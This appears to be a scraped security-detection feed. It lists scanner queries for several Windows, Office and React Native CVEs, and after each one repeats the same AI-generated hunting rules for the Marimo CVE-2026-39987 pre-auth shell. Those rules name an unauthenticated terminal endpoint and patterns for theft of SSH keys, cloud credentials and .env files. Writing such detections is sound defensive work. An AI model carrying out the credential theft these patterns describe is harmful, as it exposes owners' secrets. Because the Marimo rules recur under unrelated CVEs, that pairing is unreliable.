| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessCommandLine, ShellTime, ShellPid
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as cmdline values(Processes.parent_process_name) as parent values(Processes.process_name) as proc from datamodel=Endpoint.Processes where (Processes.parent_process_name IN ("marimo","sh","bash","dash","zsh") OR Processes.parent_process="*marimo*") (Processes.process="*.env*" OR Processes.process="*/.ssh/id_*" OR Processes.process="*/.ssh/authorized_keys*" OR Processes.process="*/.aws/credentials*" OR Processes.process="*/.netrc*" OR Processes.process="*id_rsa*" OR Processes.process="*id_ed25519*") by Processes.dest Processes.user Processes.process_name Processes.parent_process_name
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
2026-02-104 use cases0 techniques3 kill-chain phases detected
Microsoft Windows Remote Desktop Services contains an improper privilege management vulnerability that could allow an authorized attacker to elevate privileges locally. Vendor: Microsoft, Product: Windows. Federal patch due: 2026-03-03.
CVEsCVE-2026-21533
Click any ATT&CK pill below to open it on the Matrix
Match vulnerability scanner output to the CVE(s) named in the article.
ATT&CKT1190
Data sourcesVulnerabilitiesDeviceInfoDeviceTvmSoftwareVulnerabilities
DeviceTvmSoftwareVulnerabilities
| where CveId in~ ("CVE-2026-21533")
| join kind=inner DeviceInfo on DeviceId
| project DeviceName, OSPlatform, CveId, VulnerabilitySeverityLevel, RecommendedSecurityUpdate
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Vulnerabilities
where Vulnerabilities.signature IN ("CVE-2026-21533")
by Vulnerabilities.dest, Vulnerabilities.signature, Vulnerabilities.severity, Vulnerabilities.cve
| `drop_dm_object_name(Vulnerabilities)`
| sort - severity
[LLM] Marimo CVE-2026-39987: WebSocket upgrade to unauthenticated /terminal/ws endpointExploitationHigh
Detects inbound HTTP/WebSocket requests to the Marimo /terminal/ws path on the default port 2718. The vulnerable endpoint skips validate_auth() and grants a full PTY shell on a successful upgrade — any external hit on this URL is high-fidelity exploitation evidence per the GitHub advisory GHSA-2679-6mx9-h9xc.
Rationale: The vulnerable path /terminal/ws and default port 2718 are explicitly named in the marimo GHSA-2679-6mx9-h9xc advisory; status 101 is the WebSocket upgrade response — combined with a non-RFC1918 source and a near-simultaneous shell child of marimo, FPs are negligible.
Cross-checked against:
• https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://thehackernews.com/2026/04/marimo-rce-flaw-cve-2026-39987.html
ATT&CKT1190T1059.004
Data sourcesWebNetwork_Traffic.All_Traffic
DeviceNetworkEvents
| where ActionType in ("InboundConnectionAccepted","ConnectionAccepted")
| where LocalPort == 2718
| where InitiatingProcessFileName has_any ("marimo","python","python3","uvicorn") or InitiatingProcessCommandLine has "marimo"
| where RemoteIPType !in ("Loopback","Private")
| project Timestamp, DeviceName, RemoteIP, RemotePort, LocalPort, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessAccountName
| join kind=leftouter (DeviceProcessEvents
| where InitiatingProcessFileName has "marimo"
| where FileName in ("sh","bash","dash","zsh","ash","busybox")
| project ShellTime=Timestamp, DeviceName, ShellCmd=ProcessCommandLine, ShellPid=ProcessId) on DeviceName
| where ShellTime between (Timestamp .. Timestamp + 2m)
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Web.http_method) as method values(Web.http_user_agent) as ua values(Web.status) as status values(Web.url) as url from datamodel=Web where Web.url="*/terminal/ws*" (Web.dest_port=2718 OR Web.url="*marimo*") by Web.src Web.dest Web.dest_port
| `drop_dm_object_name(Web)`
| where status="101" OR isnull(status)
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Marimo CVE-2026-39987: marimo process spawning interactive shell childExploitationHigh
Hunts the post-exploitation primitive of CVE-2026-39987 — successful WebSocket exploitation gives the attacker a full PTY shell whose immediate parent is the marimo Python service. A marimo binary spawning sh/bash/dash/zsh as a child is the direct effect of the bug and is not part of normal notebook execution flow.
Rationale: The Endor Labs and Sysdig writeups confirm exploitation lands as a PTY shell whose immediate ancestor is the marimo service process; in normal operation marimo executes Python kernels, not /bin/sh. Direct lineage marimo→sh is therefore both rare and a deterministic exploit signal.
Cross-checked against:
• https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://www.bleepingcomputer.com/news/security/critical-marimo-pre-auth-rce-flaw-now-under-active-exploitation/
ATT&CKT1059.004T1190
Data sourcesEndpoint.Processes
DeviceProcessEvents
| where InitiatingProcessFileName == "marimo"
or InitiatingProcessCommandLine has "marimo edit"
or (InitiatingProcessFileName in ("python","python3") and InitiatingProcessCommandLine has "marimo")
| where FileName in ("sh","bash","dash","zsh","ash","busybox")
| where ProcessCommandLine !has "marimo run" // ignore legitimate notebook subprocess wrappers if any
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessId, ProcessId
| extend AlertTitle = "Marimo CVE-2026-39987 PTY shell spawn"
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as process values(Processes.process_id) as pid values(Processes.parent_process) as parent_process from datamodel=Endpoint.Processes where (Processes.parent_process_name="marimo" OR Processes.parent_process="*marimo edit*" OR Processes.parent_process="*marimo*--host*") Processes.process_name IN ("sh","bash","dash","zsh","ash","busybox") by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.parent_process_id
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Marimo CVE-2026-39987: credential & SSH key theft from marimo-parented shellActions on ObjectivesHigh
Hunts the documented Sysdig post-exploit objective — within 3 minutes of landing the PTY shell, the operator harvested .env files, SSH private keys, and cloud credentials. Detects any marimo descendant process touching common credential files, capturing the specific TTP reported in this campaign.
Rationale: Sysdig publicly reported the operator's specific objective in this campaign — .env credentials and SSH key exfiltration completed in <3 min. Pinning the search to marimo-descended shells plus the named credential paths makes this far higher fidelity than a generic credential-access rule and directly catches the documented TTP.
Cross-checked against:
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://thehackernews.com/2026/04/marimo-rce-flaw-cve-2026-39987.html
• https://www.bleepingcomputer.com/news/security/critical-marimo-pre-auth-rce-flaw-now-under-active-exploitation/
ATT&CKT1552.001T1552.004T1041
Data sourcesEndpoint.ProcessesEndpoint.Filesystem
let MarimoShells = DeviceProcessEvents
| where InitiatingProcessFileName == "marimo" or InitiatingProcessCommandLine has "marimo edit"
| where FileName in ("sh","bash","dash","zsh","ash")
| project DeviceId, DeviceName, ShellPid=ProcessId, ShellTime=Timestamp;
DeviceProcessEvents
| where InitiatingProcessFileName in ("sh","bash","dash","zsh","ash","busybox","marimo")
| where ProcessCommandLine has_any (".env","/.ssh/id_","/.ssh/authorized_keys","/.aws/credentials",".netrc","id_rsa","id_ed25519","kubeconfig")
or FileName in ("cat","less","more","tar","base64","curl","wget","scp","find","grep")
and ProcessCommandLine has_any (".env",".ssh",".aws","credentials")
| join kind=inner MarimoShells on DeviceId
| where Timestamp between (ShellTime .. ShellTime + 10m)
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessCommandLine, ShellTime, ShellPid
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as cmdline values(Processes.parent_process_name) as parent values(Processes.process_name) as proc from datamodel=Endpoint.Processes where (Processes.parent_process_name IN ("marimo","sh","bash","dash","zsh") OR Processes.parent_process="*marimo*") (Processes.process="*.env*" OR Processes.process="*/.ssh/id_*" OR Processes.process="*/.ssh/authorized_keys*" OR Processes.process="*/.aws/credentials*" OR Processes.process="*/.netrc*" OR Processes.process="*id_rsa*" OR Processes.process="*id_ed25519*") by Processes.dest Processes.user Processes.process_name Processes.parent_process_name
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
2026-02-104 use cases0 techniques3 kill-chain phases detected
Microsoft Desktop Windows Manager contains a type confusion vulnerability that could allow an authorized attacker to elevate privileges locally. Vendor: Microsoft, Product: Windows. Federal patch due: 2026-03-03.
CVEsCVE-2026-21519
Click any ATT&CK pill below to open it on the Matrix
Match vulnerability scanner output to the CVE(s) named in the article.
ATT&CKT1190
Data sourcesVulnerabilitiesDeviceInfoDeviceTvmSoftwareVulnerabilities
DeviceTvmSoftwareVulnerabilities
| where CveId in~ ("CVE-2026-21519")
| join kind=inner DeviceInfo on DeviceId
| project DeviceName, OSPlatform, CveId, VulnerabilitySeverityLevel, RecommendedSecurityUpdate
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Vulnerabilities
where Vulnerabilities.signature IN ("CVE-2026-21519")
by Vulnerabilities.dest, Vulnerabilities.signature, Vulnerabilities.severity, Vulnerabilities.cve
| `drop_dm_object_name(Vulnerabilities)`
| sort - severity
[LLM] Marimo CVE-2026-39987: WebSocket upgrade to unauthenticated /terminal/ws endpointExploitationHigh
Detects inbound HTTP/WebSocket requests to the Marimo /terminal/ws path on the default port 2718. The vulnerable endpoint skips validate_auth() and grants a full PTY shell on a successful upgrade — any external hit on this URL is high-fidelity exploitation evidence per the GitHub advisory GHSA-2679-6mx9-h9xc.
Rationale: The vulnerable path /terminal/ws and default port 2718 are explicitly named in the marimo GHSA-2679-6mx9-h9xc advisory; status 101 is the WebSocket upgrade response — combined with a non-RFC1918 source and a near-simultaneous shell child of marimo, FPs are negligible.
Cross-checked against:
• https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://thehackernews.com/2026/04/marimo-rce-flaw-cve-2026-39987.html
ATT&CKT1190T1059.004
Data sourcesWebNetwork_Traffic.All_Traffic
DeviceNetworkEvents
| where ActionType in ("InboundConnectionAccepted","ConnectionAccepted")
| where LocalPort == 2718
| where InitiatingProcessFileName has_any ("marimo","python","python3","uvicorn") or InitiatingProcessCommandLine has "marimo"
| where RemoteIPType !in ("Loopback","Private")
| project Timestamp, DeviceName, RemoteIP, RemotePort, LocalPort, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessAccountName
| join kind=leftouter (DeviceProcessEvents
| where InitiatingProcessFileName has "marimo"
| where FileName in ("sh","bash","dash","zsh","ash","busybox")
| project ShellTime=Timestamp, DeviceName, ShellCmd=ProcessCommandLine, ShellPid=ProcessId) on DeviceName
| where ShellTime between (Timestamp .. Timestamp + 2m)
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Web.http_method) as method values(Web.http_user_agent) as ua values(Web.status) as status values(Web.url) as url from datamodel=Web where Web.url="*/terminal/ws*" (Web.dest_port=2718 OR Web.url="*marimo*") by Web.src Web.dest Web.dest_port
| `drop_dm_object_name(Web)`
| where status="101" OR isnull(status)
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Marimo CVE-2026-39987: marimo process spawning interactive shell childExploitationHigh
Hunts the post-exploitation primitive of CVE-2026-39987 — successful WebSocket exploitation gives the attacker a full PTY shell whose immediate parent is the marimo Python service. A marimo binary spawning sh/bash/dash/zsh as a child is the direct effect of the bug and is not part of normal notebook execution flow.
Rationale: The Endor Labs and Sysdig writeups confirm exploitation lands as a PTY shell whose immediate ancestor is the marimo service process; in normal operation marimo executes Python kernels, not /bin/sh. Direct lineage marimo→sh is therefore both rare and a deterministic exploit signal.
Cross-checked against:
• https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://www.bleepingcomputer.com/news/security/critical-marimo-pre-auth-rce-flaw-now-under-active-exploitation/
ATT&CKT1059.004T1190
Data sourcesEndpoint.Processes
DeviceProcessEvents
| where InitiatingProcessFileName == "marimo"
or InitiatingProcessCommandLine has "marimo edit"
or (InitiatingProcessFileName in ("python","python3") and InitiatingProcessCommandLine has "marimo")
| where FileName in ("sh","bash","dash","zsh","ash","busybox")
| where ProcessCommandLine !has "marimo run" // ignore legitimate notebook subprocess wrappers if any
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessId, ProcessId
| extend AlertTitle = "Marimo CVE-2026-39987 PTY shell spawn"
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as process values(Processes.process_id) as pid values(Processes.parent_process) as parent_process from datamodel=Endpoint.Processes where (Processes.parent_process_name="marimo" OR Processes.parent_process="*marimo edit*" OR Processes.parent_process="*marimo*--host*") Processes.process_name IN ("sh","bash","dash","zsh","ash","busybox") by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.parent_process_id
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Marimo CVE-2026-39987: credential & SSH key theft from marimo-parented shellActions on ObjectivesHigh
Hunts the documented Sysdig post-exploit objective — within 3 minutes of landing the PTY shell, the operator harvested .env files, SSH private keys, and cloud credentials. Detects any marimo descendant process touching common credential files, capturing the specific TTP reported in this campaign.
Rationale: Sysdig publicly reported the operator's specific objective in this campaign — .env credentials and SSH key exfiltration completed in <3 min. Pinning the search to marimo-descended shells plus the named credential paths makes this far higher fidelity than a generic credential-access rule and directly catches the documented TTP.
Cross-checked against:
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://thehackernews.com/2026/04/marimo-rce-flaw-cve-2026-39987.html
• https://www.bleepingcomputer.com/news/security/critical-marimo-pre-auth-rce-flaw-now-under-active-exploitation/
ATT&CKT1552.001T1552.004T1041
Data sourcesEndpoint.ProcessesEndpoint.Filesystem
let MarimoShells = DeviceProcessEvents
| where InitiatingProcessFileName == "marimo" or InitiatingProcessCommandLine has "marimo edit"
| where FileName in ("sh","bash","dash","zsh","ash")
| project DeviceId, DeviceName, ShellPid=ProcessId, ShellTime=Timestamp;
DeviceProcessEvents
| where InitiatingProcessFileName in ("sh","bash","dash","zsh","ash","busybox","marimo")
| where ProcessCommandLine has_any (".env","/.ssh/id_","/.ssh/authorized_keys","/.aws/credentials",".netrc","id_rsa","id_ed25519","kubeconfig")
or FileName in ("cat","less","more","tar","base64","curl","wget","scp","find","grep")
and ProcessCommandLine has_any (".env",".ssh",".aws","credentials")
| join kind=inner MarimoShells on DeviceId
| where Timestamp between (ShellTime .. ShellTime + 10m)
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessCommandLine, ShellTime, ShellPid
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as cmdline values(Processes.parent_process_name) as parent values(Processes.process_name) as proc from datamodel=Endpoint.Processes where (Processes.parent_process_name IN ("marimo","sh","bash","dash","zsh") OR Processes.parent_process="*marimo*") (Processes.process="*.env*" OR Processes.process="*/.ssh/id_*" OR Processes.process="*/.ssh/authorized_keys*" OR Processes.process="*/.aws/credentials*" OR Processes.process="*/.netrc*" OR Processes.process="*id_rsa*" OR Processes.process="*id_ed25519*") by Processes.dest Processes.user Processes.process_name Processes.parent_process_name
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
2026-02-104 use cases0 techniques3 kill-chain phases detected
Microsoft Office Word contains a reliance on untrusted inputs in a security decision vulnerability that could allow an authorized attacker to elevate privileges locally. Vendor: Microsoft, Product: Office. Federal patch due: 2026-03-03.
CVEsCVE-2026-21514
Click any ATT&CK pill below to open it on the Matrix
Match vulnerability scanner output to the CVE(s) named in the article.
ATT&CKT1190
Data sourcesVulnerabilitiesDeviceInfoDeviceTvmSoftwareVulnerabilities
DeviceTvmSoftwareVulnerabilities
| where CveId in~ ("CVE-2026-21514")
| join kind=inner DeviceInfo on DeviceId
| project DeviceName, OSPlatform, CveId, VulnerabilitySeverityLevel, RecommendedSecurityUpdate
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Vulnerabilities
where Vulnerabilities.signature IN ("CVE-2026-21514")
by Vulnerabilities.dest, Vulnerabilities.signature, Vulnerabilities.severity, Vulnerabilities.cve
| `drop_dm_object_name(Vulnerabilities)`
| sort - severity
[LLM] Marimo CVE-2026-39987: WebSocket upgrade to unauthenticated /terminal/ws endpointExploitationHigh
Detects inbound HTTP/WebSocket requests to the Marimo /terminal/ws path on the default port 2718. The vulnerable endpoint skips validate_auth() and grants a full PTY shell on a successful upgrade — any external hit on this URL is high-fidelity exploitation evidence per the GitHub advisory GHSA-2679-6mx9-h9xc.
Rationale: The vulnerable path /terminal/ws and default port 2718 are explicitly named in the marimo GHSA-2679-6mx9-h9xc advisory; status 101 is the WebSocket upgrade response — combined with a non-RFC1918 source and a near-simultaneous shell child of marimo, FPs are negligible.
Cross-checked against:
• https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://thehackernews.com/2026/04/marimo-rce-flaw-cve-2026-39987.html
ATT&CKT1190T1059.004
Data sourcesWebNetwork_Traffic.All_Traffic
DeviceNetworkEvents
| where ActionType in ("InboundConnectionAccepted","ConnectionAccepted")
| where LocalPort == 2718
| where InitiatingProcessFileName has_any ("marimo","python","python3","uvicorn") or InitiatingProcessCommandLine has "marimo"
| where RemoteIPType !in ("Loopback","Private")
| project Timestamp, DeviceName, RemoteIP, RemotePort, LocalPort, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessAccountName
| join kind=leftouter (DeviceProcessEvents
| where InitiatingProcessFileName has "marimo"
| where FileName in ("sh","bash","dash","zsh","ash","busybox")
| project ShellTime=Timestamp, DeviceName, ShellCmd=ProcessCommandLine, ShellPid=ProcessId) on DeviceName
| where ShellTime between (Timestamp .. Timestamp + 2m)
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Web.http_method) as method values(Web.http_user_agent) as ua values(Web.status) as status values(Web.url) as url from datamodel=Web where Web.url="*/terminal/ws*" (Web.dest_port=2718 OR Web.url="*marimo*") by Web.src Web.dest Web.dest_port
| `drop_dm_object_name(Web)`
| where status="101" OR isnull(status)
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Marimo CVE-2026-39987: marimo process spawning interactive shell childExploitationHigh
Hunts the post-exploitation primitive of CVE-2026-39987 — successful WebSocket exploitation gives the attacker a full PTY shell whose immediate parent is the marimo Python service. A marimo binary spawning sh/bash/dash/zsh as a child is the direct effect of the bug and is not part of normal notebook execution flow.
Rationale: The Endor Labs and Sysdig writeups confirm exploitation lands as a PTY shell whose immediate ancestor is the marimo service process; in normal operation marimo executes Python kernels, not /bin/sh. Direct lineage marimo→sh is therefore both rare and a deterministic exploit signal.
Cross-checked against:
• https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://www.bleepingcomputer.com/news/security/critical-marimo-pre-auth-rce-flaw-now-under-active-exploitation/
ATT&CKT1059.004T1190
Data sourcesEndpoint.Processes
DeviceProcessEvents
| where InitiatingProcessFileName == "marimo"
or InitiatingProcessCommandLine has "marimo edit"
or (InitiatingProcessFileName in ("python","python3") and InitiatingProcessCommandLine has "marimo")
| where FileName in ("sh","bash","dash","zsh","ash","busybox")
| where ProcessCommandLine !has "marimo run" // ignore legitimate notebook subprocess wrappers if any
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessId, ProcessId
| extend AlertTitle = "Marimo CVE-2026-39987 PTY shell spawn"
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as process values(Processes.process_id) as pid values(Processes.parent_process) as parent_process from datamodel=Endpoint.Processes where (Processes.parent_process_name="marimo" OR Processes.parent_process="*marimo edit*" OR Processes.parent_process="*marimo*--host*") Processes.process_name IN ("sh","bash","dash","zsh","ash","busybox") by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.parent_process_id
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Marimo CVE-2026-39987: credential & SSH key theft from marimo-parented shellActions on ObjectivesHigh
Hunts the documented Sysdig post-exploit objective — within 3 minutes of landing the PTY shell, the operator harvested .env files, SSH private keys, and cloud credentials. Detects any marimo descendant process touching common credential files, capturing the specific TTP reported in this campaign.
Rationale: Sysdig publicly reported the operator's specific objective in this campaign — .env credentials and SSH key exfiltration completed in <3 min. Pinning the search to marimo-descended shells plus the named credential paths makes this far higher fidelity than a generic credential-access rule and directly catches the documented TTP.
Cross-checked against:
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://thehackernews.com/2026/04/marimo-rce-flaw-cve-2026-39987.html
• https://www.bleepingcomputer.com/news/security/critical-marimo-pre-auth-rce-flaw-now-under-active-exploitation/
ATT&CKT1552.001T1552.004T1041
Data sourcesEndpoint.ProcessesEndpoint.Filesystem
let MarimoShells = DeviceProcessEvents
| where InitiatingProcessFileName == "marimo" or InitiatingProcessCommandLine has "marimo edit"
| where FileName in ("sh","bash","dash","zsh","ash")
| project DeviceId, DeviceName, ShellPid=ProcessId, ShellTime=Timestamp;
DeviceProcessEvents
| where InitiatingProcessFileName in ("sh","bash","dash","zsh","ash","busybox","marimo")
| where ProcessCommandLine has_any (".env","/.ssh/id_","/.ssh/authorized_keys","/.aws/credentials",".netrc","id_rsa","id_ed25519","kubeconfig")
or FileName in ("cat","less","more","tar","base64","curl","wget","scp","find","grep")
and ProcessCommandLine has_any (".env",".ssh",".aws","credentials")
| join kind=inner MarimoShells on DeviceId
| where Timestamp between (ShellTime .. ShellTime + 10m)
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessCommandLine, ShellTime, ShellPid
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as cmdline values(Processes.parent_process_name) as parent values(Processes.process_name) as proc from datamodel=Endpoint.Processes where (Processes.parent_process_name IN ("marimo","sh","bash","dash","zsh") OR Processes.parent_process="*marimo*") (Processes.process="*.env*" OR Processes.process="*/.ssh/id_*" OR Processes.process="*/.ssh/authorized_keys*" OR Processes.process="*/.aws/credentials*" OR Processes.process="*/.netrc*" OR Processes.process="*id_rsa*" OR Processes.process="*id_ed25519*") by Processes.dest Processes.user Processes.process_name Processes.parent_process_name
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
2026-02-054 use cases0 techniques3 kill-chain phases detected
React Native Community CLI contains an OS command injection vulnerability which could allow unauthenticated network attackers to send POST requests to the Metro Development Server and run arbitrary executables via a vulnerable endpoint exposed by the server. On Windows, attackers can also execute arbitrary shell commands with fully controlled arguments. Vendor: React Native Community, Product: CLI. Federal patch due: 2026-02-26.
CVEsCVE-2025-11953
Click any ATT&CK pill below to open it on the Matrix
Match vulnerability scanner output to the CVE(s) named in the article.
ATT&CKT1190
Data sourcesVulnerabilitiesDeviceInfoDeviceTvmSoftwareVulnerabilities
DeviceTvmSoftwareVulnerabilities
| where CveId in~ ("CVE-2025-11953")
| join kind=inner DeviceInfo on DeviceId
| project DeviceName, OSPlatform, CveId, VulnerabilitySeverityLevel, RecommendedSecurityUpdate
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Vulnerabilities
where Vulnerabilities.signature IN ("CVE-2025-11953")
by Vulnerabilities.dest, Vulnerabilities.signature, Vulnerabilities.severity, Vulnerabilities.cve
| `drop_dm_object_name(Vulnerabilities)`
| sort - severity
[LLM] Marimo CVE-2026-39987: WebSocket upgrade to unauthenticated /terminal/ws endpointExploitationHigh
Detects inbound HTTP/WebSocket requests to the Marimo /terminal/ws path on the default port 2718. The vulnerable endpoint skips validate_auth() and grants a full PTY shell on a successful upgrade — any external hit on this URL is high-fidelity exploitation evidence per the GitHub advisory GHSA-2679-6mx9-h9xc.
Rationale: The vulnerable path /terminal/ws and default port 2718 are explicitly named in the marimo GHSA-2679-6mx9-h9xc advisory; status 101 is the WebSocket upgrade response — combined with a non-RFC1918 source and a near-simultaneous shell child of marimo, FPs are negligible.
Cross-checked against:
• https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://thehackernews.com/2026/04/marimo-rce-flaw-cve-2026-39987.html
ATT&CKT1190T1059.004
Data sourcesWebNetwork_Traffic.All_Traffic
DeviceNetworkEvents
| where ActionType in ("InboundConnectionAccepted","ConnectionAccepted")
| where LocalPort == 2718
| where InitiatingProcessFileName has_any ("marimo","python","python3","uvicorn") or InitiatingProcessCommandLine has "marimo"
| where RemoteIPType !in ("Loopback","Private")
| project Timestamp, DeviceName, RemoteIP, RemotePort, LocalPort, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessAccountName
| join kind=leftouter (DeviceProcessEvents
| where InitiatingProcessFileName has "marimo"
| where FileName in ("sh","bash","dash","zsh","ash","busybox")
| project ShellTime=Timestamp, DeviceName, ShellCmd=ProcessCommandLine, ShellPid=ProcessId) on DeviceName
| where ShellTime between (Timestamp .. Timestamp + 2m)
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Web.http_method) as method values(Web.http_user_agent) as ua values(Web.status) as status values(Web.url) as url from datamodel=Web where Web.url="*/terminal/ws*" (Web.dest_port=2718 OR Web.url="*marimo*") by Web.src Web.dest Web.dest_port
| `drop_dm_object_name(Web)`
| where status="101" OR isnull(status)
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Marimo CVE-2026-39987: marimo process spawning interactive shell childExploitationHigh
Hunts the post-exploitation primitive of CVE-2026-39987 — successful WebSocket exploitation gives the attacker a full PTY shell whose immediate parent is the marimo Python service. A marimo binary spawning sh/bash/dash/zsh as a child is the direct effect of the bug and is not part of normal notebook execution flow.
Rationale: The Endor Labs and Sysdig writeups confirm exploitation lands as a PTY shell whose immediate ancestor is the marimo service process; in normal operation marimo executes Python kernels, not /bin/sh. Direct lineage marimo→sh is therefore both rare and a deterministic exploit signal.
Cross-checked against:
• https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://www.bleepingcomputer.com/news/security/critical-marimo-pre-auth-rce-flaw-now-under-active-exploitation/
ATT&CKT1059.004T1190
Data sourcesEndpoint.Processes
DeviceProcessEvents
| where InitiatingProcessFileName == "marimo"
or InitiatingProcessCommandLine has "marimo edit"
or (InitiatingProcessFileName in ("python","python3") and InitiatingProcessCommandLine has "marimo")
| where FileName in ("sh","bash","dash","zsh","ash","busybox")
| where ProcessCommandLine !has "marimo run" // ignore legitimate notebook subprocess wrappers if any
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessId, ProcessId
| extend AlertTitle = "Marimo CVE-2026-39987 PTY shell spawn"
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as process values(Processes.process_id) as pid values(Processes.parent_process) as parent_process from datamodel=Endpoint.Processes where (Processes.parent_process_name="marimo" OR Processes.parent_process="*marimo edit*" OR Processes.parent_process="*marimo*--host*") Processes.process_name IN ("sh","bash","dash","zsh","ash","busybox") by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.parent_process_id
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Marimo CVE-2026-39987: credential & SSH key theft from marimo-parented shellActions on ObjectivesHigh
Hunts the documented Sysdig post-exploit objective — within 3 minutes of landing the PTY shell, the operator harvested .env files, SSH private keys, and cloud credentials. Detects any marimo descendant process touching common credential files, capturing the specific TTP reported in this campaign.
Rationale: Sysdig publicly reported the operator's specific objective in this campaign — .env credentials and SSH key exfiltration completed in <3 min. Pinning the search to marimo-descended shells plus the named credential paths makes this far higher fidelity than a generic credential-access rule and directly catches the documented TTP.
Cross-checked against:
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://thehackernews.com/2026/04/marimo-rce-flaw-cve-2026-39987.html
• https://www.bleepingcomputer.com/news/security/critical-marimo-pre-auth-rce-flaw-now-under-active-exploitation/
ATT&CKT1552.001T1552.004T1041
Data sourcesEndpoint.ProcessesEndpoint.Filesystem
let MarimoShells = DeviceProcessEvents
| where InitiatingProcessFileName == "marimo" or InitiatingProcessCommandLine has "marimo edit"
| where FileName in ("sh","bash","dash","zsh","ash")
| project DeviceId, DeviceName, ShellPid=ProcessId, ShellTime=Timestamp;
DeviceProcessEvents
| where InitiatingProcessFileName in ("sh","bash","dash","zsh","ash","busybox","marimo")
| where ProcessCommandLine has_any (".env","/.ssh/id_","/.ssh/authorized_keys","/.aws/credentials",".netrc","id_rsa","id_ed25519","kubeconfig")
or FileName in ("cat","less","more","tar","base64","curl","wget","scp","find","grep")
and ProcessCommandLine has_any (".env",".ssh",".aws","credentials")
| join kind=inner MarimoShells on DeviceId
| where Timestamp between (ShellTime .. ShellTime + 10m)
